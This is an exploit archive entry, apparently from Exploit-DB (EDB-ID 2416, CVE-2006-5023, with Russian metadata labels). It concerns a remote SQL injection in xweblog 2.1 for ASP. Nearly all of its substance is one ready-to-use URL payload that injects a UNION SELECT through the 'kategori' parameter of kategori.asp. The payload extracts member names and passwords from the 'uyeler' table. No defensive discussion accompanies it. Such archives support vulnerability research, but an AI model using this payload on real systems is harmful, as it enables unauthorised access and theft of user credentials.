Exploit xweblog 2.1 - 'kategori.asp' SQL Injection

[Exploiter]

EDB-ID

2416

Проверка EDB

1. Пройдено

Автор

MUHACIR

Тип уязвимости

WEBAPPS

Платформа

ASP

CVE

cve-2006-5023

Дата публикации

2006-09-22

# xweblog <= 2.1 (tr) (kategori.asp)Remote SQL Injection Vulnerability

# Author : Muhacir

# Source : http://www.aspindir.com/goster/4386

# Exploit : http://www.victim.com/[xweblog path]/kategori.asp?kategori=-1%20union%20select%200,ad,2,3,4,5,6,7,8,9,sifre,11,12%20from%20uyeler

# Greetz To : str0ke :)

# milw0rm.com [2006-09-22]